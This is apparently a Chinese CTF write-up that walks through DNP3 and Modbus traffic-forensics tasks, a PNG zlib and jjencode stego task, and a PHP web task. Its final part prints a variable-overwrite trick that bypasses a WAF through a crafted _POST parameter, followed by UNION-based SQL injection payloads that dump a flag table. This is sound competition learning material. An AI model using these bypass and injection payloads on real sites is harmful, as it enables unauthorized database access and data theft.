提示:请分析附件中的dnp3协议
具体的协议介绍可以看师傅的博客
DNP3协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析DNP3所含功能码
工控安全入门(四)—— DNP3协议
一开始以为出题考察的是read,在找参数object,以及File Data
但协议中并未出现,后来问学长才知道一般考察这类工控题,基本都是以流量包的形式考察的因为有些环境没有办法在线上提供,考察的还是传统的ctf,只不过是换了工控协议
可以总结下flag、fl、f各种编码,把数据包的内容分长度不同进行查看,有的时候这类题目考察的就是眼力。
这道题的flag便隐藏在每个长度为91的dnp3
流量包中,按照顺序进行拼接即可
这题上去也被秒了,就不用去看协议了,肯定还是把flag隐藏在流量包中,提示了让去看Modbus协议,直接过滤查看,打开第一个流量包即可看到flag
给了一个PNG照片,试了很多常见的隐写都没有发现线索,后来队里的qwzf拿到了一血,tql,复现一下,也学习学习。
binwalk分析一下,有zlib 之前都没怎么注意过,也可以看一下2018全国大学生信息安全竞赛 picture,也是考察zlib
5B.zilb和2AE96.zlib并没有什么异常
再来看看2AE96
有些奇怪,复制出来
内容不是十六进制,是十进制,写个简单的脚本转换一下
#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:1emon
if __name__ == '__main__':
data = ''
with open("1.txt",'r',encoding='utf-8') as fp:
strings = fp.read()
lists = strings.split(' ')
# print(list)
for list in lists:
data=data+chr(int(list))
print(data)
S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$
翻之前的资料,发现和jjencode特别像,只不过含有S,把S替换成$再试一下
$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$
但发现解不了,查看了jjencode的作者提供的编码测试页,发现需要套上alert,它的格式是固定的
alert("")
alert('1emon')
知道规律了,把上面得到的内容复制进去即可,前后连接的+号不能忘
$=~[];$={
___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({
}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({
}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\\\")"+"\"")())();
http://eci-2ze636qtsw50d6niueft.cloudeci1.ichunqiu.com/www.zip
在code.php文件中发现sql语句,做题的时候没有观察到index.php文件中的变量覆盖,一直以为是要绕过单引号,然后进行SQL注入得到flag。
这题路没走通只能去看index.php页面,发现
查了下发现和之前的一道CTF比较类似,考察的是变量覆盖
foreach(array_expression as $value) 遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步
foreach(array_expression as $key => $value) 除了当前单元的值以外,键值也会在每次循环中被赋给变量 $key
本地测试一下:
第一层foreach
里,$__key
就是_GET, _POST, _COOKIE
,加上一个$
就变为$_GET, $_POST, $_COOKIE
<?php
foreach(array('_GET','_POST','_COOKIE') as $key){
echo "\$\$key
";
print_r($$key);
echo "
";
foreach($$key as $key_2 => $value_2) {
echo "\$\$key_2
";
print_r($$key_2);
echo "
";
echo "\$value_2
";
print_r($value_2);
echo "
";
var_dump($$key_2==$value_2);echo "
";
}
}
第一次循环如果是以_GET传入的话,最终得到的结果是false,试试以_POST传入
unset($$__key2)
把$_POST
变量销毁了,所以就不会触发filter函数,因为还没进waf函数POST就被unset了
接下来继续执行
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
执行之后$_POST变量就又回来了,可以在本地测试一下
<?php
foreach(array('_GET', '_POST') as $key) {
if($$key) {
foreach($$key as $key_2 => $value_2) {
if(isset($$key_2) && $$key_2 == $value_2)
unset($$key_2);
}
}
}
echo "before
";
echo "GET:
";
var_dump($_GET);
echo "
";
echo "POST:
";
var_dump($_POST);
echo "
";
if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);
echo "
";
echo "
";
echo "after
";
echo "POST:
";
var_dump($_POST);
执行extract()
之前,$_GET
数组的键名是_POST
,$_POST
数组则不存在,$_GET
数组的键名是_POST
,所以也就是导入了名为_POST
的变量,也就是$_POST
变量,所以$_POST
成功被还原
接下来测试一下payload,发现可以绕过去
使用联合查询注入方式看看,判断列数
?_POST[code]=114514' order by 4%23
DATA:
code=114514' order by 4%23
?_POST[code]=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23
DATA:
code=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23
?_POST[code]=114514' and 0=1 union select 1,2,flag from flag%23
DATA:
code=114514' and 0=1 union select 1,2,flag from flag%23